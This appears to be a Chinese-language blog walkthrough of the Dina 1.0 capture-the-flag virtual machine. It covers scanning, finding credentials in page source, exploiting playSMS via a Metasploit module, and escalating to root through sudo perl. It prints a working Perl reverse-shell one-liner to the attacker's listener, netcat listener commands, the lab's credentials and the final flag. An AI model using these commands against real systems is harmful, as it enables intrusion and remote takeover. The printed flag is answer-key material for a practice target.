1.主机发现
arp-scan -l
2.端口扫描
nmap -p- -A -sV -Pn 192.168.119.150
这里看到只开放了80端口
3.目录扫描
dirsearch -u 192.168.119.150
4.Web访问
浏览器访问192.168.119.150
,页面有个提交查询
按钮,点击会跳转但没有什么有用的信息
拼接访问/robots.txt
,发现一些接口
http://192.168.119.150/robots.txt
拼接访问/secure
,发现这里有一个压缩包,直接下载下来看看
http://192.168.119.150/secure
解压需要密码,接下来寻找密码
接着通过测试发现,拼接访问/nothing
时不是404
页面,F12
查看源代码发现疑似密码信息
http://192.168.119.150/nothing
#my secret pass
freedom
password
helloworld!
diana
iloveroot
接着去尝试解压,输入freedom
解压成功,得到一个损坏的MP3
文件
将其用记事本打开,发现一段话、一个用户名、一个加密密码和一个url
I am not toooo smart in computer .......dat the resoan i always choose
easy password...with creds backup file....
uname: touhid
password: ******
url : /SecreTSMSgatwayLogin
这段话提示了这个用户的密码是一个简单密码,我们暂时猜测可能与刚才源代码中得到的密码有关
拼接访问url,得到一个登录界面
http://192.168.119.150/SecreTSMSgatwayLogin
尝试一番下来发现全都登不上,然后换了个浏览器等上去了,用户名就是刚刚得到的用户名,密码确实来自刚才那段源码
username:touhid
password:diana
登录之后直接看到CMS
是playSMS
,接下来利用MSF
查看有无可利用漏洞
5.漏洞挖掘
在kali
中开启msf
msfconsole
查看CMS历史漏洞
search playSMS
经过尝试后,发现第二个可以利用,接下来尝试利用该漏洞来getshell
6.漏洞利用
use 2 #使用第二个漏洞
show options #查看需要设置的选项
Required
显示为yes
的参数是必须设置的
set password diana #配置密码
set rhosts 192.168.119.150 #靶机ip
set targeturi /SecreTSMSgatwayLogin #配置上传文件页面的url
set username touhid #配置账户
set lhost 192.168.119.128 #监听者kali的ip
set lport 6666 #监听者kali的端口
设置完毕后再次查看一下选项,确认设置无误
show options
确认无误,直接run
,成功getshell
用python
升级为交互式shell
shell
python -c 'import pty; pty.spawn("/bin/bash")'
7.权限提升
查看当前用户能执行的sudo命令
sudo -l
这里显示www-data
用户可以不输入密码使用sudo
命令执行/usr/bin/perl
命令
接下来可以利用/usr/bin/perl
命令,来获取root
权限
首先kali
开启监听
nc -lvvp 9999
然后通过perl
命令写入反弹shell
sudo perl -e 'use Socket;$i="192.168.119.128";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
kali
成功接收到反弹shell,提权成功
到这里还没结束,最终是要拿到/root/flag.txt
文件
cat /root/flag.txt
________ _________
\________\--------___ ___ ____----------/_________/
\_______\----\\\\\\ //_ _ \\ //-------/________/
\______\----\\|| (( ~|~ ))) ||//------/________/
\_____\---\\ ((\ = / ))) //----/_____/
\____\--\_))) \ _)))---/____/
\__/ ((( (((_/
| -))) - ))
root password is : hello@3210
easy one .....but hard to guess.....
but i think u dont need root password......
u already have root shelll....
CONGO.........
FLAG : 22d06624cd604a0626eb5a2992a6f2e6
标签:set,1.0,Dina,192.168,119.150,密码,password,root
From: https://blog.csdn.net/2301_78815619/article/details/142637503